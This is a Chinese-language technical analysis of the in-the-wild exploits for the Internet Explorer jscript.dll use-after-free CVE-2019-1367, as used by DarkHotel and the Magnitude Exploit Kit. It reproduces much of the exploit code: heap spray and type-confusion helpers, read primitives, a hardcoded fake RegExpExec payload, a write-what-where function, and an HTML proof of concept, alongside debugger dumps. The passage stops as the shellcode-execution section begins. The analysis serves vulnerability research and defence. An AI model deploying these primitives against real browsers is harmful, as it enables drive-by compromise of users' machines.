CVE-2019–1367:IE 漏洞分析 Part2

 

在第 1 部分中,我们介绍了CVE-2019–1367漏洞的具体原因,在这一部分中,我们将讨论如何利用这个漏洞来实现代码执行。我们将重点关注我们在野发现的Magnitude Exploit Kit和DarkHotel APT使用的漏洞。

 

CVE-2019–1367 利用

下面将介绍在野发现的CVE-2019–1367漏洞利用中实现代码执行而构建的type confusion和利用原语。

Type confusion

对于这类漏洞,在释放的区域的顶部配一个fake VARs,其中包含由攻击者控制的指定对象。这个fake VARs对象的覆盖是借助Mcafee之前的文档完成的。

// makevariant_dark_x32.js 
  function n(a, b, c) {
   var d = new Array();
   d.push(a, 0x00, 0x00, 0x00,             // type
          b & 0xFFFF, (b >> 16) & 0xFFFF,  // obj_ptr
          c & 0xFFFF, (c >> 16) & 0xFFFF);  // next_var
   return String.fromCharCode.apply(null, d);
  }

DarkHotel helper function for x32 bits。

// makevariant_dark_x64.js 
function p(a, b, c, d, e) {
    var f = new Array();
    f.push(a, 0x00, 0x00, 0x00,  //type
        b & 0xFFFF, (b >> 16) & 0xFFFF,  // obj_ptr.high
        c & 0xFFFF, (c >> 16) & 0xFFFF,  // obj_ptr.low
        d & 0xFFFF, (d >> 16) & 0xFFFF,  // next_ptr.high
        e & 0xFFFF, (e >> 16) & 0xFFFF);  // next_ptr.low

    return String.fromCharCode.apply(null, f);
}

DarkHotel helper function for x64 bits。

以下是Magnitude Exploit KIT中的helper函数,该函数与DarkHotel 32位Exploit中使用的函数相同。

注意:32位级exploit(类型混淆+利用原语),整个exploit完全是复制Darkhotel 32位exploit的。除了使用的shellcode和我们将在本部分稍后讨论的一些部分之外。我们将重点讨论Darkhotel 32位exploit的分析。

这个helper函数上会创建一个较大的字符串,一个javascript属性名,大到足够替换整个GC块。这个大字符串基本上是由fake VARs对象组成的。VAR对象是什么?

VAR对象是javascript变量的内存表示形式。它是Microsoft文档中的VARIANT结构。

32位的VAR定义如下,总大小为16字节:

struct VAR {
    QWORD type;// 8 bytes
    void* obj_ptr; // 4 bytes
    VAR next_var;  // 4 bytes
}
// total size 16 bytes

一个GC块由一个VAR对象数组和指向缓存中的下一个和前一个GC块的双向链表组成:

struct GcBlock {
    GcBlock *forward;  // 4 bytes
    GcBlock *backward; // 4 bytes 
    VAR storage[100]; // 100*16 bytes
};
// total size 0x648 bytes

这个大属性名的想法,是模拟正确对齐的fake VAR对象,并将它们freed到相同区域。

属性名称应该有固定大小来覆盖整个GC块,在x32版本中,属性名称的大小为0x17a,在x64中,属性名称的大小为0x230,分别覆盖0x648和0x970 GC块的size。

下图展示了这一过程:

一旦freed区域被喷射为fake VARs对象覆盖,type confusion就会发生,使用一个简单的技巧重写VARs类型字段。

VAR.type字段表示变量类型,并且可以具有不同的值:3表示整数,5表示double,8表示字符串等。另外有一个字段是VAR.obj_ptr,它取决于上面的类型,可以是立即数或指针。

属性名附加了一个特定的值,导致VAR对象中的类型混乱,从而导致我们的第一个infoleak:

  • 在x32中,使用了“u0003”,因此前面的VAR.type: 0x81字段将被0x3(integer)覆盖,因此VAR.obj_ptr将被视为一个整数值,而不是可以从指针中读取的泄漏对象。
  • 在x64中,使用了“ u0005 ”,因此以前的VAR.type:0x81字段将被0x5(double)覆盖,因此VAR.obj_ptr将被视为一个浮点值,而不是可以从指针中读取的泄漏对象。

以下是exploits的示例,其中包含x32和x64的值:
Darkhotel x64 exploit:

// type_confusion0_dark_x64.js
var C = 0x230;
var E = "u0000u0000u0000u0000u0000u0000u0000u0000";
while (E.length != C) E += p(0x0082);
E += "u0005";

Darkhotel x32 exploit:

// type_confusion0_dark_x32.js
var B = "u0000u0000";
while (B.length < 0x17a) B += n(0x0082);
B += "u0003";

Magnitude x32 exploit

// type_confusion0_magnitude_x32.js
var Zo4h0L="u0000u0000";
while(Zo4h0L.length<0x17a)Zo4h0L+=T9899Y(0x0082);
Zo4h0L+="u0003";

如果我们放大前面的图1,我们可以看到在VAR.type字段被覆盖的情况下,这种类型的混乱是如何发生:

当与read原语结合使用时,这种类型混淆变得非常强大,我们将在后面看到。

一个数组(我们命名为“untracked”)正在维护收集到的悬挂指针,每个指针都指向先前喷射的RegExp类型的初始变量。

为了确认混淆类型是否有效,以及一个特定的VAR.type是否被正确覆盖,该漏洞解析了这个VAR指针数组,以查找带有混淆类型编号(VAR.type == 0x3)的VAR :

for (var A = 0; A < x; A++) r[A] = new RegExp(l);

  for (var A = 0; A < x; A++) {
   var D = new Array({}, r[A], {});
   var E = new Enumerator(D);
   E.moveFirst();
   E.moveNext();
   s[A] = E.item();
   E.moveNext();
   E = null;
   delete E;
   D[1] = null;
   delete D[1];
   r[A] = null;
   delete r[A];
  }
  u[0].sort(C);

  var F = new Array();
  for (var A = 0; A < x; A++) try {
   throw s[A];
  } catch (G) {
   F[A] = G.source;
  }
  var H = -1;
  for (var A = 0; A < x; A++) try {
   if ((typeof untracked[A]) === "number") {
    H = A;
    break;
   }
  } catch (E) {}
  if (H == -1) throw new Error("Could not find RegExp address.");
  else {}

我们还可以用调试器来确认这种类型混淆,位于01c1f758的VAR 的VAR.type为0x3(number),,而它是RegExpObj类型(0x81)而不是number:

0:000> dd 01c1f760-4-4
01c1f758  00000003 00000000 0410f3a8 0426a038
01c1f768  00000082 00000000 01b90220 005effb0
01c1f778  00000087 005ee898 02c11a78 0000047f
01c1f788  00000087 005ee898 00492ee8 00000432
01c1f798  00000008 00000000 0044d4cc 01c1f7b8
01c1f7a8  00000009 00000000 0410c408 00000000
01c1f7b8  00000082 00000000 01b901c0 005effb0
01c1f7c8  00000087 005ee898 02c11a78 0000047f
0:000> ln poi(0410f3a8)
(69436310)   jscript!RegExpObj::`vftable'   |  (6943640c)   jscript!NameList::`vftable'
Exact matches:
    jscript!RegExpObj::`vftable' = <no type information>

通过这种方式确认了类型混淆,并开始构建第一个read原语。这个RegExpObj的内存位置用于第二种类型的混淆—参考下文。。

构建read原语

在此exploit中,构造了一个read原语,涉及上面讨论的类型混淆和String VAR。

对象指针直接指向BSTR。BSTRs只是COM接口使用的字符串类型,它们由OLEAUT32.DLL管理在独立的堆中。

BSTR是由length前缀、数据字符串和终止符组成的复合数据类型:

让我们用一个调试器来确认这一点,在之前的GB块缓存中,有一个字符串VAR(VAR.type==0x8)在01c1f798处,让我们检查一下:

0:000> dd 01c1f760-4-4
01c1f758  00000003 00000000 0410f3a8 0426a038
01c1f768  00000082 00000000 01b90220 005effb0
01c1f778  00000087 005ee898 02c11a78 0000047f
01c1f788  00000087 005ee898 00492ee8 00000432
01c1f798  00000008 00000000 0044d4cc 01c1f7b8
01c1f7a8  00000009 00000000 0410c408 00000000
01c1f7b8  00000082 00000000 01b901c0 005effb0
01c1f7c8  00000087 005ee898 02c11a78 0000047f
0:000> du 0044d4cc 
0044d4cc  "----->Confused  I  VAR address a"
0044d50c  "t :"
0:000> db 0044d4cc-4 L1
0044d4c8  46

如我们所见,VAR String对象指针直接指向BSTR String内容。String类型的变量有一个Length属性,该属性显然返回length,但是可以使用charCodeAt方法从内存中读取字节。

如果我们将String VAR 对象指针指向前面的4个字节,Length属性将指向字符串内容的第一个字节,charCodeAt可以用来读取这个内存内容,可以读取任意内存的Length*2字节。

这个exploit是通过填充一个name属性来实现的,该属性包含指向前一个RegExpObj对象地址 + 4 的VAR。

当解释为String时,RegExpObj vftable指针变为BSTR长度,其余的RegExpObj内存可以使用charCodeAt读取,这样就创建了一个read原语来读取超过RegExpObj vftable指针的任意内存:

var I = untracked[H] & 0xFFFFFFFF;

  var J = "uFFFFuFFFFuFFFFuFFFFuFFFFuFFFF" + n(0x0082, I + 4); // string 4 bytes ahead, I is previous fake VAR of type number (0x3)
  for (var A = x; A >= H; A--) untracked[A] = null;
  for (var A = 0; A < 0x1000; A++) overlay[A][J] = 1; // store the property name

  while (--H >= 0) try {
   if ((typeof untracked[H]) === "string" && untracked[H].length > 0x1000) break;
   else untracked[H] = null;
  } catch (E) {}
  if (H == -1) debug("Could not find RegExp leak string.");
  else {}

// here untracked[H].length value is faulty and points to a large number
// untracked[H].charCodeAt(i) can be used to read arbitrary bytes.

使用调试器进行检查:

0:000> dd 0411e898-4-4-4-4-4-4
0411e880  00000000 ffffffff ffffffff ffffffff
0411e890  00000082 00000000 0410f3ac 00000000
0411e8a0  00000000 00000000 00000000 00000000
0411e8b0  00000000 00000000 00000000 00000000
0411e8c0  00000000 00000000 00000000 00000000
0411e8d0  00000000 00000000 5ea4852e 80000000
0411e8e0  0000029b 00000088 00000000 00000001
0411e8f0  00000000 00000008 00000000 568bed5f
0:000> ln poi(0410f3ac-4)
(69436310)   jscript!RegExpObj::`vftable'   |  (6943640c)   jscript!NameList::`vftable'
Exact matches:
    jscript!RegExpObj::`vftable' = <no type information>

构建 write 原语

由于前面讨论了read原语,现在可以在通过喷射fake VARs定义的地址读取内存。对于这个exploit,似乎read原语不足以实现代码执行,而需要write原语才能复制所选数据:shellcode或覆盖诸如返回地址之类的指针。

这个exploit选择的write原语有点复杂,它使用RegExpObj对象。此exploit的作者使用了一个巧妙的技巧,即完全控制一个伪RegExpObj对象,并在代码中引入了Write where条件。

在介绍该漏洞之前,exploit需要对fake RegExpObj对象完全控制,需要从RegExp变量控制它,这个RegExp变量将用于控制write原语,我们将在后面看到。

fake RegExpObj是使用第三种类型混淆创建的,这次涉及到RegExpObj对象。

RegExpObj 类型混淆

让我们回到exploit代码:该exploit能够读取任意内存内容,该地址是经过喷射的RegExpObj对象的RegExpObj vftable指针。

这个read原语用于读取内存中的RegExpObj对象,通过charCodeAt读取最多0xc0字节(对应于内存中RegExpObj对象的大小),读取的内容存储在数组K中。

然后对存储在这个数组K中的字节(对应于RegExpObj对象)进行一些修改,修改后的字节对应于以下偏移量:

  • RegExpObj+0x10 设置为 0
  • RegExpObj+0x48 从0到0x10字节)已复制到RegExpObj + 0x38
  • RegExpObj+0x48 设置为0
  • 然后,将一系列0xCCCC(大小为 WORD)附加到此数组K(shellcode)。

我们需要了解与这些偏移量相对应的内存地址及其含义,这需要逆向RegExpObj对象并进行大量测试。这些偏移对应:

  • RegExpObj+0x10:保存指向RegExpObj的VAR对象(类型为0x81)的地址。类型0x81对应于RegExpObj的VAR对象。
  • RegExpObj+0x38:对应于一个VAR(类型0x80),它指向一个字符串类型的VAR(类型0x8),这个VAR指向一个名为RegExpExec的jscript对象。这个对象从magic值0x4b74614e开始,从header开始,后面跟着一个对应于RegExp模式字段的字符串,例如,在调用new RegExp(“pattern”)或new RegExp.compile(“new pattern”)。
  • RegExpObj + 0x48:对应于一个VAR(类型0x80),该VAR指向一个String类型(0x8)的VAR,该VAR指向一个普通的BSTR,该BSTR保持RegExp 模式文本字段对应的String。注意:仅在调用RegExp.source()函数时才会创建这个VAR ,否则不会创建。

将RegExpObj + 0x48复制到RegExpObj + 0x38的数组K修改非常重要。我们将在后面看到原因。现在,让我们假设RegExpObj + 0x48的值是0x0000000(来自数组K的修改)。

此数组K转换为字符串L,并通过下面第20行中的调用再次进行喷射:S[A].compile(L) 后面跟着S[A].source()。

var K = new Array();
K.push((untracked[H].length * 2) & 0xFFFF);
K.push(((untracked[H].length * 2) >> 16) & 0xFFFF);

for (var A = 0; A < h / c; A++) K.push(untracked[H].charCodeAt(A));

K[i / c] = 0;
K[(i / c) + 1] = 0;

for (var A = 0; A < f / c; A++) {
   K[j / c + A] = K[k / c + A];
   K[k / c + A] = 0;
}

for (var A = 0; A < m.length; A++) K.push(0xCCCC); // shellcode placehoder, m = shellcode 

var L = String.fromCharCode.apply(null, K);

for (var A = 0; A < x; A++) {
   s[A].compile(L);
   s[A].source;
}

这里将要发生的是,我们重新设置了伪造的RegExpObj的RegExpObj + 0x38和RegExpObj + 0x48 VAR。

RegExpObj+0x38的VAR将指向包含数组K的字符串的RegExpExec对象,而RegExpObj+0x48 VAR现在指向类型为0x8的VAR,指向表示数组K的字符串的BSTR。

在较高的级别上,我们最初在漏洞利用中喷射了原始RegExp对象,将其pattern字段(正则表达式的文本)设置为表示数组K(内存表示修改后的RegExp对象)的字符串。

RegExpObj类型混淆是如何发生的,该exploit保留了对RegExpObj中地址的引用,该地址是RegExpObj+0x50,对应于在RegExpObj+0x48处VAR的VAR.obj_ptr,我们知道应指向String类型的VAR。

为了读取这个内存位置,再次使用了前面的字符串类型混淆,通过创建fake VARs指向这个内存位置(RegExpObj+0x50),通过charCodeAt读取内存:

var M = (untracked[H].charCodeAt(((k - 4 + g) / c) + 1) << 16) | (untracked[H].charCodeAt((k - 4 + g) / c) + 2);
// M points to the VAR.obj_ptr corresponding to the VAR in RegExpObj+0x48

// The memory at M is read, by creating fake VARs pointing to the addres in M (VAR.obj_ptr)
var N = "uFFFFuFFFFuFFFFuFFFFuFFFFuFFFF" + n(0x0082, M);
for (var A = x; A >= H; A--) untracked[A] = null;
for (var A = 0; A < 0x1000; A++) overlay[A][N] = 1;

while (--H >= 0) try {
   if ((typeof untracked[H]) === "string" && untracked[H].length > 0x1000) break;
   else untracked[H] = null;
  } catch (E) {}
  if (H == -1) throw new Error("Could not find GcBlock leak string.");
  else {}

var O = -1;
if (untracked[H].charCodeAt) O = (untracked[H].charCodeAt(4) << 16) | untracked[H].charCodeAt(3);
// Reading the content of this VAR.Obj_ptr, this VAR corresponding to a String VAR. 

if (O == -1) throw new Error("Failed to leak fake RegExp address.");

为了清楚起见,让我们使用调试器重复我们之前描述的过程。让我们选择一个地址为042d17b8的fake RegExpObj,看看会发生什么。

VAR位于042d17b8+0x48,而VAR.obj_ptr位于042d17b8 + 0x50(这是变量M所指向的位置,参见上面的exploit)。

如果我们跟随这个指针,我们会发现对应的字符串VAR在01cfd0e0, VAR.obj_ptr指向0423ed44。

0:002> dd 42d17b8 42d17b8+0x50
042d17b8  69516310 00000001 043117c8 01c43390
042d17c8  00000000 01cfbf80 000d0000 00000000
042d17d8  69500408 01c42160 042d1710 042d18a8
042d17e8  042d17b8 6958db88 00000080 00000000
042d17f8  01cfd100 00000000 00000080 00000000
042d1808  01cfd0e0
0:002> dd 01cfd0e0 L3
01cfd0e0  00000008 00000000 0423ed44

在0423ed44我们应该找到一个BSTR对象,因为它是VAR.type的0x8。我们知道这个BSTR对象应该与RegExpObj对象(数组K字节)的文本对应,因为正如前面看到的,我们调用了RegExp.source()。

实际上,通过查看这个BSTR所在的内存(423ed44),我们可以找到数组K(以及末尾的shellcode占位符:0xCCCC ..)。

0:002> dd 423ed44 L60
0423ed44  69516310 00000001 043117c8 01c43390
0423ed54  01cfc7d8 01cfbf80 00080000 00000000
0423ed64  69500408 01c42160 042d1710 042d18a8
0423ed74  042d17b8 6958db88 00000080 00000000
0423ed84  01cfd5f8 00000000 00000000 00000000
0423ed94  00000000 00000000 00000000 00000000
0423eda4  00000000 00000000 00000080 00000000
0423edb4  01cfc7c8 00000000 00000000 00000000
0423edc4  00000000 00000000 00000000 00000000
0423edd4  00000000 00000000 00000000 00000000
0423ede4  00000000 00000000 00000000 00000000
0423edf4  00000000 00000000 00000001 00000000
0423ee04  11e5d95e cccccccc cccccccc cccccccc
0423ee14  cccccccc cccccccc cccccccc cccccccc
0423ee24  cccccccc cccccccc cccccccc cccccccc
0423ee34  cccccccc cccccccc ......

下面是下一个类型混淆的提示,如果我们查看这个BSTR(数组K的字符串)上的对象类型,我们可以看到它确实是一个RegExpObj,我们可以用Windbg来确认:

0:002> ln poi(0423ed44)
(69516310)   jscript!RegExpObj::`vftable'   |  (6951640c)   jscript!NameList::`vftable'
Exact matches:
    jscript!RegExpObj::`vftable' = <no type information>

这个数组K字符串,现在被写入一个已知的地址,下一步是创建第三个类型混淆,即创建fake RegExpObj。这是通过喷射指向数组K字符串位置的0x81(RegExp)类型的fake VARs来完成的,该字符串现在将被解析为RegExpObj对象。

找到这个fake RegExpObj的引用后,它将存储在变量Q中,该变量的类型为RegExp。该exploit现在可以使用所有RegExp函数,例如RegExp.test()来确保内存中相应的fake RegExpObj对象正确响应。

为此,调用方法Q.test(“ t “)来确认喷射出来的这个新的fake RegExpObj对象是否按预期工作。

下面exploit是我们上面刚刚解释的相对应的代码:

  var P = "uFFFFuFFFFuFFFFuFFFFuFFFFuFFFF" + n(0x0081, O); // regexp type
  for (var A = x; A >= H; A--) untracked[A] = null;
  for (var A = 0; A < 0x1000; A++) overlay[A][P] = 1;
  while (--H >= 0) try {
   if ((typeof untracked[H]) === "object") break;
   else untracked[H] = null;
  } catch (E) {}
  if (H == -1) throw new Error("Could not find fake RegExp.");
  else {}
  window.close();

  var Q = untracked[H];
  var R = Q.test("t"); // RegExp.test()
  if (!R) throw new Error("Fake RegExp did not respond correctly to test execution, creation may have failed.");
  for (var A = 0; A < untracked.length; A++) untracked[A] = null;

总的来说,需要在内存中创建一个RegExpObj对象(通过复制一个现有对象、修改它并再次通过regout .compile()regout .source()注入它),并从javascript代码中的RegExp变量控制它。

这多亏了UAF漏洞,以及我们记录的类型混淆以及到目前为止使用的read原语。下一个问题是:既然exploit已经完全控制了RegExpObj,那么如何使用它来创建Write-What-Where条件?

Write-What-Where 条件

exploit的作者做了第四个也是最后一个技巧,这涉及RegExpExec对象,还记得RegExpObj+0x38中的VAR指向的那个吗?

让我们定义什么是RegExpExec对象,以及何时使用它。这个对象是每个正则表达式模式匹配操作的中心,它涉及到RegExp.test()或RegExp.compile()等的每次调用。

该对象由标头和表示Unicode中RegExp 模式字符串的数据组成。标头以魔术值0x4b74614e开头,然后是两个索引(标头大小,总对象大小),然后是BSTR字符串的起始偏移量在偏移量0xC处,然后是BSTR字符串的大小在偏移量0x10处。

例如,下面是以下javascript代码在内存中的样子:

var test = new RegExp("CAFEBABE");
test.source;
0:000> dd 06b63f40 <-- RegExpObj
06b63f40  6a8c6310 00000000 007a6f98 0609dd10
06b63f50  060a5e90 060a5eb0 00000000 00000000
06b63f60  6a8b0408 06097f78 00000000 00000000
06b63f70  06b63f40 6a93db88 c0c00080 c0c0c0c0
06b63f80  060a5ea0 c0c0c0c0 c0c00080 c0c0c0c0
06b63f90  060a5e80 c0c0c0c0 c0c00000 c0c0c0c0
06b63fa0  c0c0c0c0 c0c0c0c0 c0c00000 c0c0c0c0
06b63fb0  c0c0c0c0 c0c0c0c0 c0c00000 c0c0c0c0
0:000> dd 06b63f40+0x48 L3
06b63f88  c0c00080 c0c0c0c0 060a5e80 <-- VAR
0:000> du poi(poi(06b63f40+0x48+4+4)+8) <-- VAR 0x8, *BSTR
09baafe4  "CAFEBABE" <-- BSTR data0:000> dd poi(poi(06b63f40+0x38+4+4)+8) <-- VAR 0x8, *RegExpExec
08a3df74  4b74614e 0000004c 00000024 0000003a
08a3df84  00000010 00000008 00000001 00000000
08a3df94  00000000 00000813 41004300 45004600
08a3dfa4  41004200 45004200 00431100 00460041
08a3dfb4  00420045 00420041 00000045 00690000
08a3dfc4  0064006e 0077006f 00000073 00730077
08a3dfd4  00490020 0074006e 00720065 0065006e
08a3dfe4  00200074 00780045 006c0070 0072006f

这里我们找到了上面突出显示的RegExpExec 08a3df74,使用RegExpExec + 0xc处的字符串索引及其偏移量RegExpExec + 0x10处的大小可以将其提取出来:

0:000> db 08a3df74+3a L0x10
08a3dfae  43 00 41 00 46 00 45 00-42 00 41 00 42 00 45 00  C.A.F.E.B.A.B.E.

这个exploit的一个重点是RegExp被喷射的初始模式字符串,直到现在我们还没有讨论:

var l = "u614Eu4B74u01c8u0000u0024u0000u0159u0000u0002u0000u0000u0000u0001u0000u0000u0000u0000u0000" + "u1E12u0001u1200u0009u0000u740Au1100u770Au0400uFFEFuFFFFuFFF7uFFFFu0000u0000uFFFFuFFFFuEF04uFFFFuF7FFuFFFFu00FFu0000uFF00uFFFFu04FFuFFEFuFFFFuFFF7uFFFFu0000u0000uFFFFuFFFFuEF04uFFFFuF7FFuFFFFu00FFu0000uFF00uFFFFu04FFuFFEFuFFFFuFFF7uFFFFu0000u0000uFFFFuFFFFu0D03u0000u0000u0000u6F00u0000u0300u000Du0000uFFF3uFFFFu0000u0000u0D03u0000uFE00uFFFFu00FFu0000u0400uFFEFuFFFFu000Bu0000u0000u0000uFFFFuFFFFu2B04u0000u0000u0000u0000u0000uFF00uFFFFu03FFu000Du0000uFFF3uFFFFu000Eu0000u0112u0000u0300u000Du0000uFFF3uFFFFu0016u0000u0D03u0000u0B00u0000u0700u0000u0300u000Du0000uFFF3uFFFFu001Au0000u0D03u0000u0B00u0000u0000u0000u0300u000Du0000uFFFBuFFFFu0000u0000u0D03u0000uF300uFFFFu1BFFu0000u1500u1312u0000u0300u000Du0000uFFDFuFFFFu0000u0000u030Cu000Du0000uFFF0uFFFFu0000u0000u0AFFu0073u6111u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100";

//....LOT OF CODE SKIPPED....//


for (var A = 0; A < x; A++) r[A] = new RegExp(l); // <--- spray with pattern text "l"

for (var A = 0; A < x; A++) {
   var D = new Array({}, r[A], {});
   var E = new Enumerator(D);
   E.moveFirst();
   E.moveNext();
   s[A] = E.item();
   E.moveNext();
   E = null;
   delete E;
   D[1] = null;
   delete D[1];
   r[A] = null;
   delete r[A];
  }
u[0].sort(C); // <--- call Array.sort() to trigger CVE-2019-1367

我们接下来将看到,这个字符串表示一个fake RegExpExec对象,在exploit中硬编码,通过注入这个特定的RegExpExec,将在代码中引入一个漏洞,从而导致Write-What-Where的情况。

Fake RegExpExec injection

那么如何使用这种fake RegExpExec?让我们回到数组K(代表内存中的fake RegExpObj对象)。

如果我们还记得的话,这个数组K之前被稍作修改,然后转换成字符串L,这个字符串是通过regout .compile(L)和regout .source()喷射的。

主要包括以下两个重要的修改:

  • RegExpObj + 0x48(从0到0x10字节)复制到RegExpObj+0x38
  • RegExpObj + 0x48设置为0

RegExpObj+0x38 VAR(指向前一个RegExpExec)被RegExpObj+0x48上的VAR所指向的RegExpExec的BSTR数据字符串覆盖。也就是说,伪造的硬编码的RegExpExec对象替换了之前有效的RegExpExec对象。

我们可以使用调试器检查内存,查看指向RegExpExec的原始RegExpObj+0x38 VAR何时持有fake RegExpExec的BSTR。我们可以看到内存中的这两个RegExpExec重叠:

然后查看复制了fake RegExpExec的fake RegExpObj对象,该对象用于替换前一个对象(在调用RegExp.compile(L)和RegExp.source()以及RegExpObj+0x38 VAR覆盖之后)。

现在exploit已经完全控制了RegExpObj和RegExpExec对象,如何使用它来获得Write-what-where条件?

经过分析,似乎这个假的RegExpExec在RegExpExec对象的解析过程中引入了一个bug,主要是在jscript!RegExpExec::FExecAux 函数。

备注:我们还注意到这个fake RegExpExec对象的字符串length无效,并且以大字节开头,不可打印字符与该对象所持有的实际BSTR String不对应。此外,这个fake regexpxec通过名为RegExpBase::FBadHeader()的函数的检查。此函数在每次匹配操作之前检查RegExpExec。下面是带注释的函数:

该函数除了检查头文件中的偏移量是否正确以及字符串长度小于对象的总大小减去字符串偏移量之外,没有做任何其他事情。选择0和(total_size-string_offset)之间的任何字符串长度值都将通过测试。

Write-what-where (WWW) 可以通过调用以下特别编写的函数来触发:

function S(a, b) {
 try {
      var S_array = [0x0077, 0x0110, 0x0000, 0x0000, 0x0000, 
                  ((b & 0xFF) << 8) | 0x03, 
                  (b & 0xFFFF00) >> 8, 
                  ((a & 0xFF) << 8) | (((b & 0xFF000000) >> 24) & 0xFF), 
                  (a & 0xFFFF00) >> 8, (0x07 << 8) | (((a & 0xFF000000) >> 24) & 0xFF)];
   var c = String.fromCharCode.apply(null, S_array);
    Q.test(c); // calls fake RegExp.test() method.
} catch (d) {}
   return c;
}


  function T(a) { // read BYTE
   // O: RegExpObj + 0x48 (VAR.type)
   S(O + k, 0x82);
   // O: RegExpObj + 0x50 (VAR.Obj_ptr)
   S(O + k + g, a + e - 1);
   return (Q.source.length >> 7) & 0xFF; // Use String length property to read bytes
  }

  function U(a) { // read WORD
   return ((T(a + 1) << 8) | T(a));
  }

  function V(a) { // read DWORD
   return ((T(a + 3) << 24) | (T(a + 2) << 16) | (T(a + 1) << 8) | T(a));
  }

函数S()是启用WWW条件的函数。例如,如果exploit只是调用S(0xABCD, 0xEFGH),那么0xEFGH值将被写入内存中的地址0xABCD。

V(a)、U(a)和T(a)以上代码中的其他函数分别用于读取地址a处的DWORD、WORD和BYTE。这是通过调用函数S(a,b)在RegExp Obj的偏移量0x48处写入String类型的fake VAR来完成的,VAR.Obj_ptr指向要读取的位置+ 4。如上所述,这可能导致String Length属性用于读取该位置的字节,字节的内容是通过调用:(Q.source.length >> 7) & 0xFF 来读取的。

函数S()触发WWW bug,从传递的参数(address, value))中创建一个字符串,并通过RegExp.test()方法传递fake RegExpObj。

使用特定的RegExpExec调用RegExp.test()将自动触发漏洞,特别是在函数jscript!RegExpExec::FExecAux+0x20,其中[edi+0x44]指向的值被传递给RegExp.test()的字符串替换。

最终,由于条件始终变为false,即比较edx是否低于0xffffffff(=-1),edx包含传递给RegExp.test()的String的大小。0xffffffff是由攻击者控制的RegExpExec对象中的元数据:

为了在不同版本的jscript.dll中确认这个WWW漏洞,我们写了一个简单的POC,其中我们注入了这个fake RegExpExec对象:

<!DOCTYPE html>
<html>
<head>
<script>

function myFunction() {

  var l = "u614Eu4B74u01c8u0000u0024u0000u0159u0000u0002u0000u0000u0000u0001u0000u0000u0000u0000u0000" + "u1E12u0001u1200u0009u0000u740Au1100u770Au0400uFFEFuFFFFuFFF7uFFFFu0000u0000uFFFFuFFFFuEF04uFFFFuF7FFuFFFFu00FFu0000uFF00uFFFFu04FFuFFEFuFFFFuFFF7uFFFFu0000u0000uFFFFuFFFFuEF04uFFFFuF7FFuFFFFu00FFu0000uFF00uFFFFu04FFuFFEFuFFFFuFFF7uFFFFu0000u0000uFFFFuFFFFu0D03u0000u0000u0000u6F00u0000u0300u000Du0000uFFF3uFFFFu0000u0000u0D03u0000uFE00uFFFFu00FFu0000u0400uFFEFuFFFFu000Bu0000u0000u0000uFFFFuFFFFu2B04u0000u0000u0000u0000u0000uFF00uFFFFu03FFu000Du0000uFFF3uFFFFu000Eu0000u0112u0000u0300u000Du0000uFFF3uFFFFu0016u0000u0D03u0000u0B00u0000u0700u0000u0300u000Du0000uFFF3uFFFFu001Au0000u0D03u0000u0B00u0000u0000u0000u0300u000Du0000uFFFBuFFFFu0000u0000u0D03u0000uF300uFFFFu1BFFu0000u1500u1312u0000u0300u000Du0000uFFDFuFFFFu0000u0000u030Cu000Du0000uFFF0uFFFFu0000u0000u0AFFu0073u6111u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100u6100";

    var test = new RegExp(l);
    test.source; // set breakpoint here, after return from source, overwrite 0x+48 into 0x38

 function S(a, b) {

   try {

    var S_array = [0x0077, 0x0110, 0x0000, 0x0000, 0x0000, ((b & 0xFF) << 8) | 0x03, (b & 0xFFFF00) >> 8, ((a & 0xFF) << 8) | (((b & 0xFF000000) >> 24) & 0xFF), (a & 0xFFFF00) >> 8, (0x07 << 8) | (((a & 0xFF000000) >> 24) & 0xFF)];

    var c = String.fromCharCode.apply(null, S_array);
    test.test(c);
   } catch (d) {}
   return c;
  }
  S(0xAAAAAAAA, 0xBBBBBBBB); // write-what-where
 } 
</script> 
</head> 
<body >

<button type = "button" onclick = "myFunction()"> Try it </button>

</body>
</html>

在我们手动修改了RegExpObj + 0x38指针之后,上面的POC调用S(0xAAAAAAAA,0xBBBBBBBB),以指向fake RegExpExec,和CVE-2019-1367的exploit一样。

然后,我们得到了预期的访问冲突,因为代码尝试将0xBBBBBBBB写入未映射的地址0xAAAAAAAA。

下面的调试器输出的这个POC,确认写入了调试器中的write-what-where 条件:

在WWW漏洞被引入后,exploit现在可以Read/Write-what-where。最后,这个引入的漏洞在每个版本中32位和64位的jscript.dll都可以正常使用!(我们使用2010和2020的jscript进行了测试):

总结一下:

  • 使用RegExp变量喷射(我们无法控制)
  • 在触发UAF漏洞后,对悬空指针的引用保持不变
  • 将VARs类型与number进行类型混淆,以获取引用所指向的内存位置
  • 使用字符串VARs喷射来读取内存内容(RegExpObj对象)
  • 读取RegExpObj的全部内容,创建一个假的。
  • 操作fake RegExpObj以使用fake RegExpExec重写RegExpExec指针。
  • 通过RegExpObj类型混淆获取对fake RegExpObj的引用(使用fake RegExpExec)
  • 引入了Write-what-where条件bug
  • 获得对RegExp变量的完全控制(由fake RegExpObj表示)

主要的思路是使用RegExp变量 -> magic-> 具有Read/Write-what-where功能的RegExp变量完全控制。

总结了在DarkHotel APT中使用的读写原语!下一步是:使用上面的原语来获取代码执行。

 

Shellcode执行

x32/x64 Darkhotel Exploits中的Shellcode执行

为了实现代码的执行,exploit需要使用可执行模块,并且找到绕过DEP的 kernel32!VirtualProtect和ROP gadgets!

针对Windows 7 SP1 32位,对IE8 32位version 8.0.7601.17514和jscript.dll 32位version 5.8.7601.17515对DarkHotel APT和Magnitude EK的exploit进行了测试,这些exploit绕过了ALSR、DEP和Windows 10上CFG,并进行了栈迁移。

为了获得kernel32的地址,exploit使用了jscript模块。但是我们还需要jscript的基址。由于exploit完全控制了伪造的RegExpObj对象。如上所述,如果检查偏移量为0的对象,则会有一个指向vftable的指针:

0:002> ln poi(0423ed44)
(69516310)   jscript!RegExpObj::`vftable'   |  (6951640c)   jscript!NameList::`vftable'
Exact matches:
    jscript!RegExpObj::`vftable' = <no type information>

